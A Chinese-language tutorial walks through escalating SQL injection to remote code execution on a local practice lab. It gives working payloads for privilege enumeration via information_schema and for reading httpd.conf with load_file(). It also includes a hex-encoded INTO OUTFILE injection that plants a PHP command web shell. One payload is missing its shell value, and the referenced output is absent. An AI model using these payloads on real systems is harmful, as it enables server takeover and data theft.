什么是SQL注入?

SQL 注入是一種針對使用 SQL(結構化查詢語言)數據庫的 Web 應用程序的攻擊。攻擊涉及將惡意 SQL 代碼注入 Web 應用程序的輸入字段,然后可以由應用程序的數據庫執行。

SQL 注入攻擊旨在利用應用程序代碼中的漏洞,使攻擊者能夠訪問敏感信息或操縱數據庫。例如,攻擊者可以使用 SQL 注入竊取用戶憑據并修改或刪除數據

所以有一個不同的場景,如果當前數據庫用戶有寫權限,我們可以獲得 RCE(遠程代碼執行)

測試開始

易受攻擊的應用程序:http://localhost/sqlilabs/practice/example1.php?id=1

我要檢查當前的數據庫用戶名以及用戶是否有寫權限

我將簡單地調用用戶函數user()來打印當前數據庫的用戶名

它會像那樣輸出

所以我們必須檢查用戶 root 是否有寫權限

我們將執行查詢“(select group_concat(grantee,is_grantable,0x3c62723e) from information_schema.user_privileges)”

我得到了這樣的輸出

所以我們現在有寫入權限,我們可以使用outfile在服務器上寫入

還有兩件事 1:我們需要一個服務器路徑 2:一個可寫目錄

對于路徑泄露,我們可以嘗試讀取服務器上的配置文件,如httpd.conf 或 access_log等 ,這取決于 我們找到httpd.conf文件的服務器 ,我們可以獲得服務器路徑

現在我們將使用load_file()函數來讀取“ httpd.conf”

讀取配置文件后我們得到了服務器路徑

現在我們可以使用outfile寫入以在服務器上獲取 RCE

http://localhost/sqlilabs/practice/example1.php?id=1' and 0 union select 1,,3 進入輸出文件 '/opt/lampp/htdocs/shell.php' - +

如果它不起作用嘗試使用十六進制編碼

http://localhost/sqlilabs/practice/example1.php?id=1' and 0 union select 1,0x3c3f7068702073797374656d28245f4745545b27636d64275d293b203f3e,3 into outfile '/opt/lampp/htdocs/shell.php' - +